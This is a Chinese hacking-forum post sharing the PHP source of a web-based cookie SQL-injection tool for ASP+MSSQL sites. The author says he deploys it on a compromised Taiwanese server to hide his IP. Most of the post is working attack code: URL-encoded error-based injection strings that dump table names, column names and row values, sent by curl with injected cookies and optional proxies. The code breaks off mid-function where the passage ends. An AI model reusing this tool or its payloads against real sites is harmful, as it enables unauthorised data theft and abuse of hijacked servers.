[原创]MSSQL cookie注入工具 web版

文章作者:Mika[EST]
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

俺前些日子发的那个cookie注入辅助工具php版,由于是命令行下解析执行的,所以一般都只能在本机执行(在肉鸡上你需要安装php解释器),用起来也不方便。而且输出的信息也比较难看。正好前些日子做测试的时候,俺抓到一只台湾鸡,支持php。于是俺就想把这个工具写成web版的,放到肉鸡上去执行,这样既能节省本机资源,而且又比较隐蔽(能隐藏自己的IP,而且可以访问到GFW不让你访问的站),对我唯一的难处就是我不太懂html,上学的时候学的都是用dreamweaver做个简单的网页。但是现在我一没有dreamweaver,二没有frontpage,只好从网上下载了一个html的参考手册,一边看一边改写的!花了俺整整一天的时间,所以没有功劳还有苦劳呢,你们看完可要支持一下啊

俺直接贴代码了,对你们来说应该不难的:
Code Language : PHP
  1. <?php
  2. $auth_ok=0;
  3. $user=$_SERVER['PHP_AUTH_USER'];
  4. $pass=$_SERVER['PHP_AUTH_PW'];
  5. if(isset($user) && isset($pass) && $user=='admin' && $pass=='mika520'){
  6. $auth_ok=1;
  7. }
  8. if(!$auth_ok)
  9. {
  10.   header('WWW-Authenticate: Basic realm=\"Top Secret Area\"');
  11.   header('HTTP/1.0 401 Unauthorized');
  12.   exit;
  13. }
  14. $cookie=$_POST['_cookie'];
  15. $referer=$_POST['_referer'];
  16. $url=$_POST['_url'];
  17. $t_name=$_POST['_tablename'];
  18. $tab_name=$_POST['_tabname'];
  19. $field_name=$_POST['_fieldname'];
  20. $proxy=$_POST['_proxy'];
  21. $useproxy=$_POST['_useproxy'];
  22. $_action=$_POST['_action'];
  23. $_btype=$_POST['_btype'];
  24. ?>
  25. <html>
  26. <head>
  27. <title>Asp+Mssql Cookie Sql Injection Tool</title>
  28. <style>body{font-family:trebuchet ms;font-size:16px;color:green;background-color:black}hr{width:100%;height:2px;}</style>
  29. </head>
  30. <body>
  31. <center><h1>Asp+Mssql Sql Cookie Injection Tool Beta 1 by Mika[EST]</h1></center>
  32. <hr><hr>
  33. <form action=\"<?=$_SERVER['PHP_SELF']?>\" method=\"POST\">
  34. <center>
  35. <table>
  36. <tr><td><b>Exploitable Url: </b><input type=\"text\" name=\"_url\" size=60 value=\"<?=$url?>\" /><?php if(isset($url) && empty($url)) echo \"<font color=red> unspecified</font>\n\"?></td></tr>
  37. <tr><td><b>Exploitable Cookie: </b><input type=\"text\" name=\"_cookie\" size=60 value=\"<?=$cookie?>\" /><?php if(isset($cookie) && empty($cookie)) echo \"<font color=red> unspecified</font>\n\"?></td></tr>
  38. <tr><td><b>Referer Url: </b><input type=\"text\" name=\"_referer\" size=60 value=\"<?=$referer?>\" /><?php if(isset($referer) && empty($referer)) echo \"<font color=red> unspecified</font>\n\"?></td></tr>
  39. <tr><td><input type=\"radio\" name=\"_btype\" value=\"num\" <?php if (empty($_btype) || $_btype==\"num\") echo \"checked\";?>>Num Type</input> <input type=\"radio\" name=\"_btype\" value=\"char\" <?php if ($_btype==\"char\") echo \"checked\";?>>Char Type</input></td></tr>
  40. <tr><td><input type=\"radio\" name=\"_action\" value=\"exp_tabs\" <?php if(empty($_action) || $_action==\"exp_tabs\") echo \"checked\" ?> onclick=\"_tablename.disabled=true;_fieldname.disabled=true;_tabname.disabled=true;\">Explode Tables Of Current DataBase</input></td></tr>
  41. <tr><td><input type=\"radio\" name=\"_action\" value=\"exp_fields\" onclick=\"_tablename.disabled=false;_fieldname.disabled=true;_tabname.disabled=true;\" <?php if($_action==\"exp_fields\") echo \"checked\"?>>Explode Fields Of </input><input type=\"text\" name=\"_tablename\" size=30 value=\"<?php if(!empty($tab_name)) echo $tab_name; else echo $t_name;?>\" <?php if($_action != \"exp_fields\") echo \"disabled\";?> /></td></tr>
  42. <tr><td><input type=\"radio\" name=\"_action\" value=\"exp_values\" onclick=\"_tablename.disabled=true;_fieldname.disabled=false;_tabname.disabled=false;\" <?php if($_action==\"exp_values\") echo \"checked\"?>>Explode Values Of </input><input type=\"text\" name=\"_fieldname\" size=30 value=\"<?=$field_name?>\" <?php if($_action != \"exp_values\") echo \"disabled\";?>/> IN <input type=\"text\" name='_tabname' size=20 value=\"<?php if(!empty($t_name)) echo $t_name; else echo $tab_name;?>\" <?php if($_action != \"exp_values\") echo \"disabled\";?> /></td></tr><br>
  43. <tr><td><input type=\"checkbox\" name=\"_useproxy\" value=\"use_proxy\" onclick=\"javascript:if(this.checked==true){_proxy.disabled=false;}else {_proxy.disabled=true;}\" <?php if(isset($useproxy) && !empty($proxy)) echo \"checked\";?>>Via Anonymous Proxy <input type=\"text\" name=\"_proxy\" size=30 value=\"<?=$proxy?>\" <?php if(empty($proxy)) echo \"disabled=true\";?> ></input></td></tr>
  44. <tr><td><input type=\"submit\" name=\"_submit\" value=\"Launch Attack\"></input><?php echo str_repeat(' ',50);?><input type=\"reset\" name=\"_reset\" value=\"Reset Attack\"></input></td></tr>
  45. </table>
  46. </center>
  47. </form>
  48. <hr><hr>
  49. <?php
  50. ///////////////////////////////////////////////////////////////////////////////////////
  51. ///////////////////////////////////////////////////////////////////////////////////////
  52.  
  53. ///////////////////////////////////////////////////////////////////////////////////////
  54. global $curl,$referer,$cookie,$url,$table_name,$field_name,$t_name,$tab_name;
  55.  
  56. $tab_exp=\"%20and%201=(select%20top%201%20nchar(124)%2bname%2bnchar(124)%20from%20sysobjects%20where%20xtype=nchar(85)%20and%20name%20not%20in(MFM_TABLES))--\";
  57. $field_exp=\"%20and%20(select%20top%201%20nchar(124)%2Bcol_name(object_id(TABLE_NAME),MFM_NUM)%2Bnchar(124)%20from%20sysobjects)%3E0--\";
  58. $value_exp=\"%20and%20(select%20top%201%20nchar(124)%2Bcast(MFM_FIELD_NAME%20as%20varchar(8000))%2Bnchar(124)%20from%20MFM_TABLE_NAME%20where%20MFM_FIELD_NAME%20not%20in(MFM_VALUE))%3E0--\";
  59. $count_exp=\"%20and%20(select%20nchar(124)%2Bcast(%20count(*)%20as%20varchar(255))%2bnchar(124)%20from%20MFM_TABLE_NAME)%3E0--\";
  60. $count_table=\"%20and%201=(select%20top%201%20nchar(124)%2bcast(count(*)%20as%20varchar(8000))%2bnchar(124)%20from%20sysobjects%20where%20xtype=nchar(85))--\";
  61. $count_column=\"%20and%201=(select%20nchar(124)%2Bcast(count(*)%20as%20varchar(8000))%2Bnchar(124)%20from%20syscolumns%20where%20id=object_id(MFM_TABLE_NAME))--\";
  62. ///////////////////////////////////////////////////////////////////////////////////////
  63. ///////////////////////////////////////////////////////////////////////////////////////
  64. if(array_key_exists(\"_submit\",$_POST) && !empty($url) && !empty($cookie) && !empty($referer)){
  65. $bstr=$_POST['_btype'];
  66. $action=$_POST['_action'];
  67.  
  68. echo \"<div align=left><b>:::Attack Parameters:::</b><br>\n\";
  69. echo \"<b>Target Url:</b><font color=blue>$url</font><br>\n\";
  70. echo \"<b>Target Cookie:</b><font color=blue>\\"$cookie\\"</font><br>\n\";
  71. echo \"<b>Referer Url:</b><font color=blue>$referer</font><br>\n\";
  72. echo \"<b>Injection Type:</b>\";
  73.  
  74. switch($bstr){
  75. case 'num':
  76.  echo \"<font color=blue>number</font><br>\n\";
  77.  $bstr=0;//数字型
  78.  break;
  79. case 'char':
  80.  echo \"<font color=blue>character</font><br>\n\";
  81.  $bstr=1;//字符型
  82.  break;
  83. }
  84. echo \"<b>Via Proxy:</b>\".((isset($useproxy) && !empty($proxy))? '<font color=blue>Yes</font>':'<font color=blue>No</font>').\"<br>\n\";
  85. if(isset($useproxy) && !empty($proxy))
  86. echo \"<b>Proxy Address:</b><font color=blue>$proxy</font><br>\n\";
  87. echo \"<b>Injection Action:</b>\";
  88.  
  89. switch($action){
  90. case 'exp_tabs':
  91.  echo \"<font color=blue>Explode Table Names</font><br>\n</div>\n\";
  92.  exploit_tab();
  93.  break;
  94. case 'exp_fields':
  95.  echo \"<font color=blue>Explode Table Fields</font><br>\n\";
  96.  if(empty($t_name))
  97.  die(\"<font color=red>Error:table name must be specified!</font><br>\");
  98.  $table_name=$t_name;
  99.  echo \"<b>Table Name:</b><font color=blue>$table_name</font><br>\n</div>\n\";
  100.  exploit_field();
  101.  break;
  102. case 'exp_values':
  103.  echo \"<font color=blue>Explode Table Values</font><br>\n\";
  104.  if(empty($tab_name))
  105.  die(\"<font color=red>Error:table name must be specified!</font><br>\");
  106.  elseif(empty($field_name))
  107.  die(\"<font color=red>Error:field name must be specified!</font><br>\");
  108.  $table_name=$tab_name;
  109.  echo \"<b>Table Name:</b><font color=blue>$table_name</font><br>\n\";
  110.  echo \"<b>Fields Name:</b><font color=blue>\".str_replace(\",\",\" \",$field_name).\"</font><br>\n</div>\n\";
  111.  explode_value();
  112.  break;
  113. }
  114. }
  115. //  exploit_tab();
  116. //  exploit_field();
  117. //  explode_value();
  118. ///////////////////////////////////////////////////////////////////////////////////////
  119. function output_start()
  120. {
  121. echo \"<hr><br>\n\";
  122. echo \"<div align=center>\n\";
  123. echo \"<table border=\\"1\\">\n\";
  124. flush();
  125. }
  126. function output_th($th)
  127. {
  128.  switch($th){
  129.  case 'tr':
  130.    echo \"<tr>\";
  131.    break;
  132.  case '/tr':
  133.    echo \"</tr>\n\";
  134.    break;
  135.  default:
  136.    echo \"<th><font color=blue>$th</font></th>\n\";
  137.    break;
  138.  }
  139. flush();
  140. }
  141. function output_td($td)
  142. {
  143. switch($td){
  144.  case 'tr':
  145.    echo \"<tr>\";
  146.    break;
  147.  case '/tr':
  148.    echo \"</tr>\n\";
  149.    break;
  150.  default:
  151.    echo \"<td><font color=blue>$td</font></td>\n\";
  152.    break;
  153.  }
  154. flush();
  155. }
  156. function output_end()
  157. {
  158. echo \"</table></div><br>\n\";
  159. flush();
  160. }
  161. ///////////////////////////////////////////////////////////////////////////////////////
  162. ///////////////////////////////////////////////////////////////////////////////////////
  163. //暴取字段值函数
  164. function explode_value()
  165. {
  166. global $bstr,$table_name,$field_name,$cookie,$count_exp,$curl;
  167. $i=1;
  168. $count=0;
  169. $fields=explode(\",\",$field_name);
  170. $sql_str=\" And (Select Top 1 nchar(124)\";
  171. $sub_str='+isNull(cast([MIKA_FIELD] as varchar(8000)),char(32))';
  172. foreach($fields as $field){
  173. $new_sub_str=str_replace('MIKA_FIELD',$field,$sub_str);
  174. $sql_str.=$new_sub_str.\"+char(92)\";
  175. }
  176. $sql_str=substr($sql_str,0,strlen($sql_str)-9);
  177. $sql_str.=\"+nchar(124) from (Select Top MIKA_NUM $field_name From [MIKA_TABLE] Where 1=1 Order by $field_name) T Order by \";
  178. $sub_str=\"MIKA_FIELD desc\";
  179. foreach($fields as $field){
  180. $sub_strs[]=str_replace('MIKA_FIELD',$field,$sub_str);
  181. }
  182. $sql_str.=implode(\",\",$sub_strs).\")>0--\";
  183. //echo $sql_str.\"\n\";
  184. $sql_str=str_replace('MIKA_TABLE',$table_name,$sql_str);
  185.  
  186. $old=str_replace('MFM_TABLE_NAME',$table_name,$count_exp);
  187. init_session();
  188. if($bstr)
  189. $new_cookie=str_replace('MIKA','%27'.$old,$cookie);
  190. else
  191. $new_cookie=str_replace('MIKA',$old,$cookie);
  192. output_start();
  193. $re=find_value($new_cookie);
  194. if($re)
  195. {
  196. $count=$re;
  197. echo \"<b>the number of record in $table_name:</b> <font color=blue>$count</font>\n\";
  198. }
  199. output_th('tr');
  200. foreach ($fields as $field){
  201. output_th($field);
  202. }
  203. output_th('/tr');
  204. do{
  205.  
  206. $new_sql_str=str_replace('MIKA_NUM',$i,$sql_str);
  207. //echo $sql_str.\"\n\";
  208. if($bstr)
  209. $new_cookie=str_replace('MIKA','%27'.urlencode($new_sql_str),$cookie);
  210. else
  211. $new_cookie=str_replace('MIKA',urlencode($new_sql_str),$cookie);
  212. $re=find_value($new_cookie);
  213. output_td('tr');
  214. if($re)
  215. {
  216.  $res=explode(\"\\\",$re);
  217.  foreach($res as $ree){
  218.  output_td($ree);
  219.  }
  220. }
  221. output_td('/tr');
  222. $i++;
  223. }while($i<=$count);
  224. output_end();
  225. }
  226. ///////////////////////////////////////////////////////////////////////////////////////
  227.  
  228. ///////////////////////////////////////////////////////////////////////////////////////
  229. //另一种方式暴取表名的函数
  230. function explode_tab(){
  231. global $bstr,$curl,$cookie;
  232. $num=1;
  233. $i=0;
  234. $old_re=\"\";
  235. $re=\"\";
  236. $words=\" And (Select Top 1 nchar(124)+cast(name as varchar(8000))+nchar(124) from(Select Top MIKA_NUM id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0--\";
  237. init_session();
  238.  
  239. output_th('tr');
  240. for($i=0;$i<8;$i++)
  241. output_th('Tables');
  242. output_th('/tr');
  243. output_td('tr');
  244. do{
  245. $new_words=str_replace('MIKA_NUM',$num,$words);
  246. if($bstr)
  247. $new_cookie=str_replace('MIKA',\"%27\".urlencode($new_words),$cookie);
  248. else
  249. $new_cookie=str_replace('MIKA',urlencode($new_words),$cookie);
  250. $re=find_value($new_cookie);
  251. if($re!=$old_re)
  252.  {
  253. output_td($re);
  254. if(($num % 8)==0)
  255. {
  256. output_td('/tr');
  257. output_td('tr');
  258. }
  259.  }
  260. else
  261. break;
  262. $old_re=$re;
  263. $num++;
  264. }while($re);
  265. output_td('/tr');
  266. output_end();
  267. }
  268. ///////////////////////////////////////////////////////////////////////////////////////
  269.  
  270. ///////////////////////////////////////////////////////////////////////////////////////
  271. //初始化会话函数
  272. function init_session(){
  273. global $proxy,$curl,$referer,$url;
  274. $curl=curl_init();
  275. curl_setopt($curl,CURLOPT_HEADER,0);
  276. curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  277. curl_setopt($curl,CURLOPT_REFERER,$referer);
  278. curl_setopt($curl,CURLOPT_URL,$url);
  279. if(isset($useproxy) && !empty($proxy))
  280. curl_setopt($curl,CURLOPT_PROXY,\"$proxy\");
  281. }
  282. ///////////////////////////////////////////////////////////////////////////////////////
  283.  
  284. ///////////////////////////////////////////////////////////////////////////////////////
  285. //通用取值函数
  286. function find_value($cookie){
  287. global $curl;
  288. //echo $cookie.\"\n\";
  289. curl_setopt($curl,CURLOPT_COOKIE,$cookie);
  290. $content=curl_exec($curl);
  291.  
  292. //echo $content;
  293. $re=preg_match(\"/(\|.+